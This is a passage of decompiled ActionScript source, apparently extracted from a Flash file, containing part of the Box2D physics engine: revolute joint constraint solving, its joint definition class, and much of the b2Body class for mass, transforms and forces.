m_localAnchor2 = new b2Vec2();
m_pivotForce = new b2Vec2();
m_pivotMass = new b2Mat22();
super(_arg1);
m_localAnchor1.SetV(_arg1.localAnchor1);
m_localAnchor2.SetV(_arg1.localAnchor2);
m_referenceAngle = _arg1.referenceAngle;
m_pivotForce.Set(0, 0);
m_motorForce = 0;
m_limitForce = 0;
m_limitPositionImpulse = 0;
m_lowerAngle = _arg1.lowerAngle;
m_upperAngle = _arg1.upperAngle;
m_maxMotorTorque = _arg1.maxMotorTorque;
m_motorSpeed = _arg1.motorSpeed;
m_enableLimit = _arg1.enableLimit;
m_enableMotor = _arg1.enableMotor;
}
override public function GetAnchor1():b2Vec2{
return (m_body1.GetWorldPoint(m_localAnchor1));
}
override public function GetAnchor2():b2Vec2{
return (m_body2.GetWorldPoint(m_localAnchor2));
}
public function EnableMotor(_arg1:Boolean):void{
m_enableMotor = _arg1;
}
public function GetUpperLimit():Number{
return (m_upperAngle);
}
public function GetLowerLimit():Number{
return (m_lowerAngle);
}
public function SetLimits(_arg1:Number, _arg2:Number):void{
m_lowerAngle = _arg1;
m_upperAngle = _arg2;
}
public function GetMotorSpeed():Number{
return (m_motorSpeed);
}
override public function GetReactionForce():b2Vec2{
return (m_pivotForce);
}
override public function SolvePositionConstraints():Boolean{
var _local1:Number;
var _local2:Number;
var _local3:b2Body;
var _local4:b2Body;
var _local5:Number;
var _local6:b2Mat22;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
var _local20:Number;
var _local21:Number;
var _local22:Number;
var _local23:Number;
var _local24:Number;
var _local25:Number;
var _local26:Number;
_local3 = m_body1;
_local4 = m_body2;
_local5 = 0;
_local6 = _local3.m_xf.R;
_local7 = (m_localAnchor1.x - _local3.m_sweep.localCenter.x);
_local8 = (m_localAnchor1.y - _local3.m_sweep.localCenter.y);
_local9 = ((_local6.col1.x * _local7) + (_local6.col2.x * _local8));
_local8 = ((_local6.col1.y * _local7) + (_local6.col2.y * _local8));
_local7 = _local9;
_local6 = _local4.m_xf.R;
_local10 = (m_localAnchor2.x - _local4.m_sweep.localCenter.x);
_local11 = (m_localAnchor2.y - _local4.m_sweep.localCenter.y);
_local9 = ((_local6.col1.x * _local10) + (_local6.col2.x * _local11));
_local11 = ((_local6.col1.y * _local10) + (_local6.col2.y * _local11));
_local10 = _local9;
_local12 = (_local3.m_sweep.c.x + _local7);
_local13 = (_local3.m_sweep.c.y + _local8);
_local14 = (_local4.m_sweep.c.x + _local10);
_local15 = (_local4.m_sweep.c.y + _local11);
_local16 = (_local14 - _local12);
_local17 = (_local15 - _local13);
_local5 = Math.sqrt(((_local16 * _local16) + (_local17 * _local17)));
_local18 = _local3.m_invMass;
_local19 = _local4.m_invMass;
_local20 = _local3.m_invI;
_local21 = _local4.m_invI;
K1.col1.x = (_local18 + _local19);
K1.col2.x = 0;
K1.col1.y = 0;
K1.col2.y = (_local18 + _local19);
K2.col1.x = ((_local20 * _local8) * _local8);
K2.col2.x = ((-(_local20) * _local7) * _local8);
K2.col1.y = ((-(_local20) * _local7) * _local8);
K2.col2.y = ((_local20 * _local7) * _local7);
K3.col1.x = ((_local21 * _local11) * _local11);
K3.col2.x = ((-(_local21) * _local10) * _local11);
K3.col1.y = ((-(_local21) * _local10) * _local11);
K3.col2.y = ((_local21 * _local10) * _local10);
K.SetM(K1);
K.AddM(K2);
K.AddM(K3);
K.Solve(tImpulse, -(_local16), -(_local17));
_local22 = tImpulse.x;
_local23 = tImpulse.y;
_local3.m_sweep.c.x = (_local3.m_sweep.c.x - (_local3.m_invMass * _local22));
_local3.m_sweep.c.y = (_local3.m_sweep.c.y - (_local3.m_invMass * _local23));
_local3.m_sweep.a = (_local3.m_sweep.a - (_local3.m_invI * ((_local7 * _local23) - (_local8 * _local22))));
_local4.m_sweep.c.x = (_local4.m_sweep.c.x + (_local4.m_invMass * _local22));
_local4.m_sweep.c.y = (_local4.m_sweep.c.y + (_local4.m_invMass * _local23));
_local4.m_sweep.a = (_local4.m_sweep.a + (_local4.m_invI * ((_local10 * _local23) - (_local11 * _local22))));
_local3.SynchronizeTransform();
_local4.SynchronizeTransform();
_local24 = 0;
if (((m_enableLimit) && (!((m_limitState == e_inactiveLimit))))){
_local25 = ((_local4.m_sweep.a - _local3.m_sweep.a) - m_referenceAngle);
_local26 = 0;
if (m_limitState == e_equalLimits){
_local2 = b2Math.b2Clamp(_local25, -(b2Settings.b2_maxAngularCorrection), b2Settings.b2_maxAngularCorrection);
_local26 = (-(m_motorMass) * _local2);
_local24 = b2Math.b2Abs(_local2);
} else {
if (m_limitState == e_atLowerLimit){
_local2 = (_local25 - m_lowerAngle);
_local24 = b2Math.b2Max(0, -(_local2));
_local2 = b2Math.b2Clamp((_local2 + b2Settings.b2_angularSlop), -(b2Settings.b2_maxAngularCorrection), 0);
_local26 = (-(m_motorMass) * _local2);
_local1 = m_limitPositionImpulse;
m_limitPositionImpulse = b2Math.b2Max((m_limitPositionImpulse + _local26), 0);
_local26 = (m_limitPositionImpulse - _local1);
} else {
if (m_limitState == e_atUpperLimit){
_local2 = (_local25 - m_upperAngle);
_local24 = b2Math.b2Max(0, _local2);
_local2 = b2Math.b2Clamp((_local2 - b2Settings.b2_angularSlop), 0, b2Settings.b2_maxAngularCorrection);
_local26 = (-(m_motorMass) * _local2);
_local1 = m_limitPositionImpulse;
m_limitPositionImpulse = b2Math.b2Min((m_limitPositionImpulse + _local26), 0);
_local26 = (m_limitPositionImpulse - _local1);
};
};
};
_local3.m_sweep.a = (_local3.m_sweep.a - (_local3.m_invI * _local26));
_local4.m_sweep.a = (_local4.m_sweep.a + (_local4.m_invI * _local26));
_local3.SynchronizeTransform();
_local4.SynchronizeTransform();
};
return ((((_local5 <= b2Settings.b2_linearSlop)) && ((_local24 <= b2Settings.b2_angularSlop))));
}
public function GetJointSpeed():Number{
return ((m_body2.m_angularVelocity - m_body1.m_angularVelocity));
}
public function SetMotorSpeed(_arg1:Number):void{
m_motorSpeed = _arg1;
}
public function SetMaxMotorTorque(_arg1:Number):void{
m_maxMotorTorque = _arg1;
}
public function GetJointAngle():Number{
return (((m_body2.m_sweep.a - m_body1.m_sweep.a) - m_referenceAngle));
}
override public function InitVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Body;
var _local4:b2Mat22;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
_local2 = m_body1;
_local3 = m_body2;
_local4 = _local2.m_xf.R;
_local6 = (m_localAnchor1.x - _local2.m_sweep.localCenter.x);
_local7 = (m_localAnchor1.y - _local2.m_sweep.localCenter.y);
_local5 = ((_local4.col1.x * _local6) + (_local4.col2.x * _local7));
_local7 = ((_local4.col1.y * _local6) + (_local4.col2.y * _local7));
_local6 = _local5;
_local4 = _local3.m_xf.R;
_local8 = (m_localAnchor2.x - _local3.m_sweep.localCenter.x);
_local9 = (m_localAnchor2.y - _local3.m_sweep.localCenter.y);
_local5 = ((_local4.col1.x * _local8) + (_local4.col2.x * _local9));
_local9 = ((_local4.col1.y * _local8) + (_local4.col2.y * _local9));
_local8 = _local5;
_local10 = _local2.m_invMass;
_local11 = _local3.m_invMass;
_local12 = _local2.m_invI;
_local13 = _local3.m_invI;
K1.col1.x = (_local10 + _local11);
K1.col2.x = 0;
K1.col1.y = 0;
K1.col2.y = (_local10 + _local11);
K2.col1.x = ((_local12 * _local7) * _local7);
K2.col2.x = ((-(_local12) * _local6) * _local7);
K2.col1.y = ((-(_local12) * _local6) * _local7);
K2.col2.y = ((_local12 * _local6) * _local6);
K3.col1.x = ((_local13 * _local9) * _local9);
K3.col2.x = ((-(_local13) * _local8) * _local9);
K3.col1.y = ((-(_local13) * _local8) * _local9);
K3.col2.y = ((_local13 * _local8) * _local8);
K.SetM(K1);
K.AddM(K2);
K.AddM(K3);
K.Invert(m_pivotMass);
m_motorMass = (1 / (_local12 + _local13));
if (m_enableMotor == false){
m_motorForce = 0;
};
if (m_enableLimit){
_local14 = ((_local3.m_sweep.a - _local2.m_sweep.a) - m_referenceAngle);
if (b2Math.b2Abs((m_upperAngle - m_lowerAngle)) < (2 * b2Settings.b2_angularSlop)){
m_limitState = e_equalLimits;
} else {
if (_local14 <= m_lowerAngle){
if (m_limitState != e_atLowerLimit){
m_limitForce = 0;
};
m_limitState = e_atLowerLimit;
} else {
if (_local14 >= m_upperAngle){
if (m_limitState != e_atUpperLimit){
m_limitForce = 0;
};
m_limitState = e_atUpperLimit;
} else {
m_limitState = e_inactiveLimit;
m_limitForce = 0;
};
};
};
} else {
m_limitForce = 0;
};
if (_arg1.warmStarting){
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x - ((_arg1.dt * _local10) * m_pivotForce.x));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y - ((_arg1.dt * _local10) * m_pivotForce.y));
_local2.m_angularVelocity = (_local2.m_angularVelocity - ((_arg1.dt * _local12) * ((((_local6 * m_pivotForce.y) - (_local7 * m_pivotForce.x)) + m_motorForce) + m_limitForce)));
_local3.m_linearVelocity.x = (_local3.m_linearVelocity.x + ((_arg1.dt * _local11) * m_pivotForce.x));
_local3.m_linearVelocity.y = (_local3.m_linearVelocity.y + ((_arg1.dt * _local11) * m_pivotForce.y));
_local3.m_angularVelocity = (_local3.m_angularVelocity + ((_arg1.dt * _local13) * ((((_local8 * m_pivotForce.y) - (_local9 * m_pivotForce.x)) + m_motorForce) + m_limitForce)));
} else {
m_pivotForce.SetZero();
m_motorForce = 0;
m_limitForce = 0;
};
m_limitPositionImpulse = 0;
}
public function EnableLimit(_arg1:Boolean):void{
m_enableLimit = _arg1;
}
public function GetMotorTorque():Number{
return (m_motorForce);
}
override public function GetReactionTorque():Number{
return (m_limitForce);
}
public function IsLimitEnabled():Boolean{
return (m_enableLimit);
}
public function IsMotorEnabled():Boolean{
return (m_enableMotor);
}
override public function SolveVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Body;
var _local3:b2Body;
var _local4:b2Mat22;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
var _local20:Number;
var _local21:Number;
_local2 = m_body1;
_local3 = m_body2;
_local4 = _local2.m_xf.R;
_local6 = (m_localAnchor1.x - _local2.m_sweep.localCenter.x);
_local7 = (m_localAnchor1.y - _local2.m_sweep.localCenter.y);
_local5 = ((_local4.col1.x * _local6) + (_local4.col2.x * _local7));
_local7 = ((_local4.col1.y * _local6) + (_local4.col2.y * _local7));
_local6 = _local5;
_local4 = _local3.m_xf.R;
_local8 = (m_localAnchor2.x - _local3.m_sweep.localCenter.x);
_local9 = (m_localAnchor2.y - _local3.m_sweep.localCenter.y);
_local5 = ((_local4.col1.x * _local8) + (_local4.col2.x * _local9));
_local9 = ((_local4.col1.y * _local8) + (_local4.col2.y * _local9));
_local8 = _local5;
_local11 = (((_local3.m_linearVelocity.x + (-(_local3.m_angularVelocity) * _local9)) - _local2.m_linearVelocity.x) - (-(_local2.m_angularVelocity) * _local7));
_local12 = (((_local3.m_linearVelocity.y + (_local3.m_angularVelocity * _local8)) - _local2.m_linearVelocity.y) - (_local2.m_angularVelocity * _local6));
_local13 = (-(_arg1.inv_dt) * ((m_pivotMass.col1.x * _local11) + (m_pivotMass.col2.x * _local12)));
_local14 = (-(_arg1.inv_dt) * ((m_pivotMass.col1.y * _local11) + (m_pivotMass.col2.y * _local12)));
m_pivotForce.x = (m_pivotForce.x + _local13);
m_pivotForce.y = (m_pivotForce.y + _local14);
_local15 = (_arg1.dt * _local13);
_local16 = (_arg1.dt * _local14);
_local2.m_linearVelocity.x = (_local2.m_linearVelocity.x - (_local2.m_invMass * _local15));
_local2.m_linearVelocity.y = (_local2.m_linearVelocity.y - (_local2.m_invMass * _local16));
_local2.m_angularVelocity = (_local2.m_angularVelocity - (_local2.m_invI * ((_local6 * _local16) - (_local7 * _local15))));
_local3.m_linearVelocity.x = (_local3.m_linearVelocity.x + (_local3.m_invMass * _local15));
_local3.m_linearVelocity.y = (_local3.m_linearVelocity.y + (_local3.m_invMass * _local16));
_local3.m_angularVelocity = (_local3.m_angularVelocity + (_local3.m_invI * ((_local8 * _local16) - (_local9 * _local15))));
if (((m_enableMotor) && (!((m_limitState == e_equalLimits))))){
_local17 = ((_local3.m_angularVelocity - _local2.m_angularVelocity) - m_motorSpeed);
_local18 = ((-(_arg1.inv_dt) * m_motorMass) * _local17);
_local19 = m_motorForce;
m_motorForce = b2Math.b2Clamp((m_motorForce + _local18), -(m_maxMotorTorque), m_maxMotorTorque);
_local18 = (m_motorForce - _local19);
_local2.m_angularVelocity = (_local2.m_angularVelocity - ((_local2.m_invI * _arg1.dt) * _local18));
_local3.m_angularVelocity = (_local3.m_angularVelocity + ((_local3.m_invI * _arg1.dt) * _local18));
};
if (((m_enableLimit) && (!((m_limitState == e_inactiveLimit))))){
_local20 = (_local3.m_angularVelocity - _local2.m_angularVelocity);
_local21 = ((-(_arg1.inv_dt) * m_motorMass) * _local20);
if (m_limitState == e_equalLimits){
m_limitForce = (m_limitForce + _local21);
} else {
if (m_limitState == e_atLowerLimit){
_local10 = m_limitForce;
m_limitForce = b2Math.b2Max((m_limitForce + _local21), 0);
_local21 = (m_limitForce - _local10);
} else {
if (m_limitState == e_atUpperLimit){
_local10 = m_limitForce;
m_limitForce = b2Math.b2Min((m_limitForce + _local21), 0);
_local21 = (m_limitForce - _local10);
};
};
};
_local2.m_angularVelocity = (_local2.m_angularVelocity - ((_local2.m_invI * _arg1.dt) * _local21));
_local3.m_angularVelocity = (_local3.m_angularVelocity + ((_local3.m_invI * _arg1.dt) * _local21));
};
}
}
}//package Box2D.Dynamics.Joints
Section 65
//b2RevoluteJointDef (Box2D.Dynamics.Joints.b2RevoluteJointDef)
package Box2D.Dynamics.Joints {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
public class b2RevoluteJointDef extends b2JointDef {
public var referenceAngle:Number;
public var upperAngle:Number;
public var lowerAngle:Number;
public var motorSpeed:Number;
public var maxMotorTorque:Number;
public var localAnchor1:b2Vec2;
public var localAnchor2:b2Vec2;
public var enableLimit:Boolean;
public var enableMotor:Boolean;
public function b2RevoluteJointDef(){
localAnchor1 = new b2Vec2();
localAnchor2 = new b2Vec2();
super();
type = b2Joint.e_revoluteJoint;
localAnchor1.Set(0, 0);
localAnchor2.Set(0, 0);
referenceAngle = 0;
lowerAngle = 0;
upperAngle = 0;
maxMotorTorque = 0;
motorSpeed = 0;
enableLimit = false;
enableMotor = false;
}
public function Initialize(_arg1:b2Body, _arg2:b2Body, _arg3:b2Vec2):void{
body1 = _arg1;
body2 = _arg2;
localAnchor1 = body1.GetLocalPoint(_arg3);
localAnchor2 = body2.GetLocalPoint(_arg3);
referenceAngle = (body2.GetAngle() - body1.GetAngle());
}
}
}//package Box2D.Dynamics.Joints
Section 66
//b2Body (Box2D.Dynamics.b2Body)
package Box2D.Dynamics {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Dynamics.Joints.*;
import Box2D.Dynamics.Contacts.*;
public class b2Body {
public var m_next:b2Body;
public var m_contactList:b2ContactEdge;
public var m_angularVelocity:Number;
public var m_shapeList:b2Shape;
public var m_force:b2Vec2;
public var m_mass:Number;
public var m_sweep:b2Sweep;
public var m_xf:b2XForm;
public var m_torque:Number;
public var m_userData;
public var m_flags:uint;
public var m_world:b2World;
public var m_prev:b2Body;
public var m_invMass:Number;
public var m_type:int;
public var m_linearDamping:Number;
public var m_angularDamping:Number;
public var m_invI:Number;
public var m_linearVelocity:b2Vec2;
public var m_sleepTime:Number;
public var m_shapeCount:int;
public var m_jointList:b2JointEdge;
public var m_I:Number;
public static var e_fixedRotationFlag:uint = 64;
public static var e_frozenFlag:uint = 2;
public static var e_maxTypes:uint = 3;
public static var e_sleepFlag:uint = 8;
private static var s_massData:b2MassData = new b2MassData();
public static var e_bulletFlag:uint = 32;
public static var e_staticType:uint = 1;
public static var e_islandFlag:uint = 4;
public static var e_allowSleepFlag:uint = 16;
private static var s_xf1:b2XForm = new b2XForm();
public static var e_dynamicType:uint = 2;
public function b2Body(_arg1:b2BodyDef, _arg2:b2World){
var _local3:b2Mat22;
var _local4:b2Vec2;
m_xf = new b2XForm();
m_sweep = new b2Sweep();
m_linearVelocity = new b2Vec2();
m_force = new b2Vec2();
super();
m_flags = 0;
if (_arg1.isBullet){
m_flags = (m_flags | e_bulletFlag);
};
if (_arg1.fixedRotation){
m_flags = (m_flags | e_fixedRotationFlag);
};
if (_arg1.allowSleep){
m_flags = (m_flags | e_allowSleepFlag);
};
if (_arg1.isSleeping){
m_flags = (m_flags | e_sleepFlag);
};
m_world = _arg2;
m_xf.position.SetV(_arg1.position);
m_xf.R.Set(_arg1.angle);
m_sweep.localCenter.SetV(_arg1.massData.center);
m_sweep.t0 = 1;
m_sweep.a0 = (m_sweep.a = _arg1.angle);
_local3 = m_xf.R;
_local4 = m_sweep.localCenter;
m_sweep.c.x = ((_local3.col1.x * _local4.x) + (_local3.col2.x * _local4.y));
m_sweep.c.y = ((_local3.col1.y * _local4.x) + (_local3.col2.y * _local4.y));
m_sweep.c.x = (m_sweep.c.x + m_xf.position.x);
m_sweep.c.y = (m_sweep.c.y + m_xf.position.y);
m_sweep.c0.SetV(m_sweep.c);
m_jointList = null;
m_contactList = null;
m_prev = null;
m_next = null;
m_linearDamping = _arg1.linearDamping;
m_angularDamping = _arg1.angularDamping;
m_force.Set(0, 0);
m_torque = 0;
m_linearVelocity.SetZero();
m_angularVelocity = 0;
m_sleepTime = 0;
m_invMass = 0;
m_I = 0;
m_invI = 0;
m_mass = _arg1.massData.mass;
if (m_mass > 0){
m_invMass = (1 / m_mass);
};
if ((m_flags & b2Body.e_fixedRotationFlag) == 0){
m_I = _arg1.massData.I;
};
if (m_I > 0){
m_invI = (1 / m_I);
};
if ((((m_invMass == 0)) && ((m_invI == 0)))){
m_type = e_staticType;
} else {
m_type = e_dynamicType;
};
m_userData = _arg1.userData;
m_shapeList = null;
m_shapeCount = 0;
}
public function GetLinearVelocityFromWorldPoint(_arg1:b2Vec2):b2Vec2{
return (new b2Vec2((m_linearVelocity.x - (m_angularVelocity * (_arg1.y - m_sweep.c.y))), (m_linearVelocity.y + (m_angularVelocity * (_arg1.x - m_sweep.c.x)))));
}
public function SetLinearVelocity(_arg1:b2Vec2):void{
m_linearVelocity.SetV(_arg1);
}
public function WakeUp():void{
m_flags = (m_flags & ~(e_sleepFlag));
m_sleepTime = 0;
}
public function GetLocalCenter():b2Vec2{
return (m_sweep.localCenter);
}
public function ApplyTorque(_arg1:Number):void{
if (IsSleeping()){
WakeUp();
};
m_torque = (m_torque + _arg1);
}
public function IsFrozen():Boolean{
return (((m_flags & e_frozenFlag) == e_frozenFlag));
}
public function IsDynamic():Boolean{
return ((m_type == e_dynamicType));
}
public function GetLinearVelocity():b2Vec2{
return (m_linearVelocity);
}
public function SynchronizeTransform():void{
var _local1:b2Mat22;
var _local2:b2Vec2;
m_xf.R.Set(m_sweep.a);
_local1 = m_xf.R;
_local2 = m_sweep.localCenter;
m_xf.position.x = (m_sweep.c.x - ((_local1.col1.x * _local2.x) + (_local1.col2.x * _local2.y)));
m_xf.position.y = (m_sweep.c.y - ((_local1.col1.y * _local2.x) + (_local1.col2.y * _local2.y)));
}
public function GetInertia():Number{
return (m_I);
}
public function IsSleeping():Boolean{
return (((m_flags & e_sleepFlag) == e_sleepFlag));
}
public function SetMassFromShapes():void{
var _local1:b2Shape;
var _local2:Number;
var _local3:Number;
var _local4:b2MassData;
var _local5:b2Mat22;
var _local6:b2Vec2;
var _local7:int;
if (m_world.m_lock == true){
return;
};
m_mass = 0;
m_invMass = 0;
m_I = 0;
m_invI = 0;
_local2 = 0;
_local3 = 0;
_local4 = s_massData;
_local1 = m_shapeList;
while (_local1) {
_local1.ComputeMass(_local4);
m_mass = (m_mass + _local4.mass);
_local2 = (_local2 + (_local4.mass * _local4.center.x));
_local3 = (_local3 + (_local4.mass * _local4.center.y));
m_I = (m_I + _local4.I);
_local1 = _local1.m_next;
};
if (m_mass > 0){
m_invMass = (1 / m_mass);
_local2 = (_local2 * m_invMass);
_local3 = (_local3 * m_invMass);
};
if ((((m_I > 0)) && (((m_flags & e_fixedRotationFlag) == 0)))){
m_I = (m_I - (m_mass * ((_local2 * _local2) + (_local3 * _local3))));
m_invI = (1 / m_I);
} else {
m_I = 0;
m_invI = 0;
};
m_sweep.localCenter.Set(_local2, _local3);
_local5 = m_xf.R;
_local6 = m_sweep.localCenter;
m_sweep.c.x = ((_local5.col1.x * _local6.x) + (_local5.col2.x * _local6.y));
m_sweep.c.y = ((_local5.col1.y * _local6.x) + (_local5.col2.y * _local6.y));
m_sweep.c.x = (m_sweep.c.x + m_xf.position.x);
m_sweep.c.y = (m_sweep.c.y + m_xf.position.y);
m_sweep.c0.SetV(m_sweep.c);
_local1 = m_shapeList;
while (_local1) {
_local1.UpdateSweepRadius(m_sweep.localCenter);
_local1 = _local1.m_next;
};
_local7 = m_type;
if ((((m_invMass == 0)) && ((m_invI == 0)))){
m_type = e_staticType;
} else {
m_type = e_dynamicType;
};
if (_local7 != m_type){
_local1 = m_shapeList;
while (_local1) {
_local1.RefilterProxy(m_world.m_broadPhase, m_xf);
_local1 = _local1.m_next;
};
};
}
public function PutToSleep():void{
m_flags = (m_flags | e_sleepFlag);
m_sleepTime = 0;
m_linearVelocity.SetZero();
m_angularVelocity = 0;
m_force.SetZero();
m_torque = 0;
}
public function GetJointList():b2JointEdge{
return (m_jointList);
}
public function SetXForm(_arg1:b2Vec2, _arg2:Number):Boolean{
var _local3:b2Shape;
var _local4:b2Mat22;
var _local5:b2Vec2;
var _local6:Boolean;
var _local7:Boolean;
if (m_world.m_lock == true){
return (true);
};
if (IsFrozen()){
return (false);
};
m_xf.R.Set(_arg2);
m_xf.position.SetV(_arg1);
_local4 = m_xf.R;
_local5 = m_sweep.localCenter;
m_sweep.c.x = ((_local4.col1.x * _local5.x) + (_local4.col2.x * _local5.y));
m_sweep.c.y = ((_local4.col1.y * _local5.x) + (_local4.col2.y * _local5.y));
m_sweep.c.x = (m_sweep.c.x + m_xf.position.x);
m_sweep.c.y = (m_sweep.c.y + m_xf.position.y);
m_sweep.c0.SetV(m_sweep.c);
m_sweep.a0 = (m_sweep.a = _arg2);
_local6 = false;
_local3 = m_shapeList;
while (_local3) {
_local7 = _local3.Synchronize(m_world.m_broadPhase, m_xf, m_xf);
if (_local7 == false){
_local6 = true;
break;
};
_local3 = _local3.m_next;
};
if (_local6 == true){
m_flags = (m_flags | e_frozenFlag);
m_linearVelocity.SetZero();
m_angularVelocity = 0;
_local3 = m_shapeList;
while (_local3) {
_local3.DestroyProxy(m_world.m_broadPhase);
_local3 = _local3.m_next;
};
return (false);
};
m_world.m_broadPhase.Commit();
return (true);
}
public function GetLocalPoint(_arg1:b2Vec2):b2Vec2{
return (b2Math.b2MulXT(m_xf, _arg1));
}
public function ApplyForce(_arg1:b2Vec2, _arg2:b2Vec2):void{
if (IsSleeping()){
WakeUp();
};
m_force.x = (m_force.x + _arg1.x);
m_force.y = (m_force.y + _arg1.y);
m_torque = (m_torque + (((_arg2.x - m_sweep.c.x) * _arg1.y) - ((_arg2.y - m_sweep.c.y) * _arg1.x)));
}
public function SynchronizeShapes():Boolean{
var _local1:b2XForm;
var _local2:b2Mat22;
var _local3:b2Vec2;
var _local4:b2Shape;
var _local5:Boolean;
_local1 = s_xf1;
_local1.R.Set(m_sweep.a0);
_local2 = _local1.R;
_local3 = m_sweep.localCenter;
_local1.position.x = (m_sweep.c0.x - ((_local2.col1.x * _local3.x) + (_local2.col2.x * _local3.y)));
_local1.position.y = (m_sweep.c0.y - ((_local2.col1.y * _local3.x) + (_local2.col2.y * _local3.y)));
_local5 = true;
_local4 = m_shapeList;
while (_local4) {
_local5 = _local4.Synchronize(m_world.m_broadPhase, _local1, m_xf);
if (_local5 == false){
break;
};
_local4 = _local4.m_next;
};
if (_local5 == false){
m_flags = (m_flags | e_frozenFlag);
m_linearVelocity.SetZero();
m_angularVelocity = 0;
_local4 = m_shapeList;
while (_local4) {
_local4.DestroyProxy(m_world.m_broadPhase);
_local4 = _local4.m_next;
};
return (false);
};
return (true);
}
public function GetAngle():Number{
return (m_sweep.a);
}
public function GetXForm():b2XForm{
return (m_xf);
}
public function ApplyImpulse(_arg1:b2Vec2, _arg2:b2Vec2):void{
if (IsSleeping()){
WakeUp();
};
m_linearVelocity.x = (m_linearVelocity.x + (m_invMass * _arg1.x));
m_linearVelocity.y = (m_linearVelocity.y + (m_invMass * _arg1.y));
m_angularVelocity = (m_angularVelocity + (m_invI * (((_arg2.x - m_sweep.c.x) * _arg1.y) - ((_arg2.y - m_sweep.c.y) * _arg1.x))));
}
public function GetNext():b2Body{
return (m_next);
}
public function GetMass():Number{
return (m_mass);
}
public function GetLinearVelocityFromLocalPoint(_arg1:b2Vec2):b2Vec2{
var _local2:b2Mat22;
var _local3:b2Vec2;
_local2 = m_xf.R;
_local3 = new b2Vec2(((_local2.col1.x * _arg1.x) + (_local2.col2.x * _arg1.y)), ((_local2.col1.y * _arg1.x) + (_local2.col2.y * _arg1.y)));
_local3.x = (_local3.x + m_xf.position.x);
_local3.y = (_local3.y + m_xf.position.y);
return (new b2Vec2((m_linearVelocity.x + (m_angularVelocity * (_local3.y - m_sweep.c.y))), (m_linearVelocity.x - (m_angularVelocity * (_local3.x - m_sweep.c.x)))));
}
public function GetAngularVelocity():Number{
return (m_angularVelocity);
}
public function SetAngularVelocity(_arg1:Number):void{
m_angularVelocity = _arg1;
}
public function SetMass(_arg1:b2MassData):void{
var _local2:b2Shape;
var _local3:b2Mat22;
var _local4:b2Vec2;
var _local5:int;
if (m_world.m_lock == true){
return;
};
m_invMass = 0;
m_I = 0;
m_invI = 0;
m_mass = _arg1.mass;
if (m_mass > 0){
m_invMass = (1 / m_mass);
};
if ((m_flags & b2Body.e_fixedRotationFlag) == 0){
m_I = _arg1.I;
};
if (m_I > 0){
m_invI = (1 / m_I);
};
m_sweep.localCenter.SetV(_arg1.center);
_local3 = m_xf.R;
_local4 = m_sweep.localCenter;
m_sweep.c.x = ((_local3.col1.x * _local4.x) + (_local3.col2.x * _local4.y));
m_sweep.c.y = ((_local3.col1.y * _local4.x) + (_local3.col2.y * _local4.y));
m_sweep.c.x = (m_sweep.c.x + m_xf.position.x);
m_sweep.c.y = (m_sweep.c.y + m_xf.position.y);
m_sweep.c0.SetV(m_sweep.c);
_local2 = m_shapeList;
while (_local2) {
_local2.UpdateSweepRadius(m_sweep.localCenter);
_local2 = _local2.m_next;
};
_local5 = m_type;
if ((((m_invMass == 0)) && ((m_invI == 0)))){
m_type = e_staticType;
} else {
m_type = e_dynamicType;
};
if (_local5 != m_type){
_local2 = m_shapeList;
while (_local2) {
_local2.RefilterProxy(m_world.m_broadPhase, m_xf);
_local2 = _local2.m_next;
};
};
}
public function IsStatic():Boolean{
return ((m_type == e_staticType));
}
public function GetWorldVector(_arg1:b2Vec2):b2Vec2{
return (b2Math.b2MulMV(m_xf.R, _arg1));
}
public function GetShapeList():b2Shape{
return (m_shapeList);
}
public function Advance(_arg1:Number):void{
m_sweep.Advance(_arg1);
m_sweep.c.SetV(m_sweep.c0);
m_sweep.a = m_sweep.a0;
SynchronizeTransform();
}
public function SetBullet(_arg1:Boolean):void{
if (_arg1){
m_flags = (m_flags | e_bulletFlag);
} else {
m_flags = (m_flags & ~(e_bulletFlag));
};
}
public function CreateShape(_arg1:b2ShapeDef):b2Shape{
var _local2:b2Shape;
if (m_world.m_lock == true){
return (null);
};
_local2 = b2Shape.Create(_arg1, m_world.m_blockAllocator);
_local2.m_next = m_shapeList;
m_shapeList = _local2;
m_shapeCount++;
_local2.m_body = this;
_local2.CreateProxy(m_world.m_broadPhase, m_xf);
_local2.UpdateSweepRadius(m_sweep.localCenter);
return (_local2);
}
public function IsConnected(_arg1:b2Body):Boolean{
var _local2:b2JointEdge;
_local2 = m_jointList;
while (_local2) {
if (_local2.other == _arg1){
return ((_local2.joint.m_collideConnected == false));
};
_local2 = _local2.next;
};
return (false);
}
public function DestroyShape(_arg1:b2Shape):void{
var _local2:b2Shape;
var _local3:b2Shape;
var _local4:Boolean;
if (m_world.m_lock == true){
return;
};
_arg1.DestroyProxy(m_world.m_broadPhase);
_local2 = m_shapeList;
_local3 = null;
_local4 = false;
while (_local2 != null) {
if (_local2 == _arg1){
if (_local3){
_local3.m_next = _arg1.m_next;
} else {
m_shapeList = _arg1.m_next;
};
_local4 = true;
break;
};
_local3 = _local2;
_local2 = _local2.m_next;
};
_arg1.m_body = null;
_arg1.m_next = null;
m_shapeCount--;
b2Shape.Destroy(_arg1, m_world.m_blockAllocator);
}
public function GetUserData(){
return (m_userData);
}
public function IsBullet():Boolean{
return (((m_flags & e_bulletFlag) == e_bulletFlag));
}
public function GetWorldCenter():b2Vec2{
return (m_sweep.c);
}
public function AllowSleeping(_arg1:Boolean):void{
if (_arg1){
m_flags = (m_flags | e_allowSleepFlag);
} else {
m_flags = (m_flags & ~(e_allowSleepFlag));
WakeUp();
};
}
public function SetUserData(_arg1):void{
m_userData = _arg1;
}
public function GetLocalVector(_arg1:b2Vec2):b2Vec2{
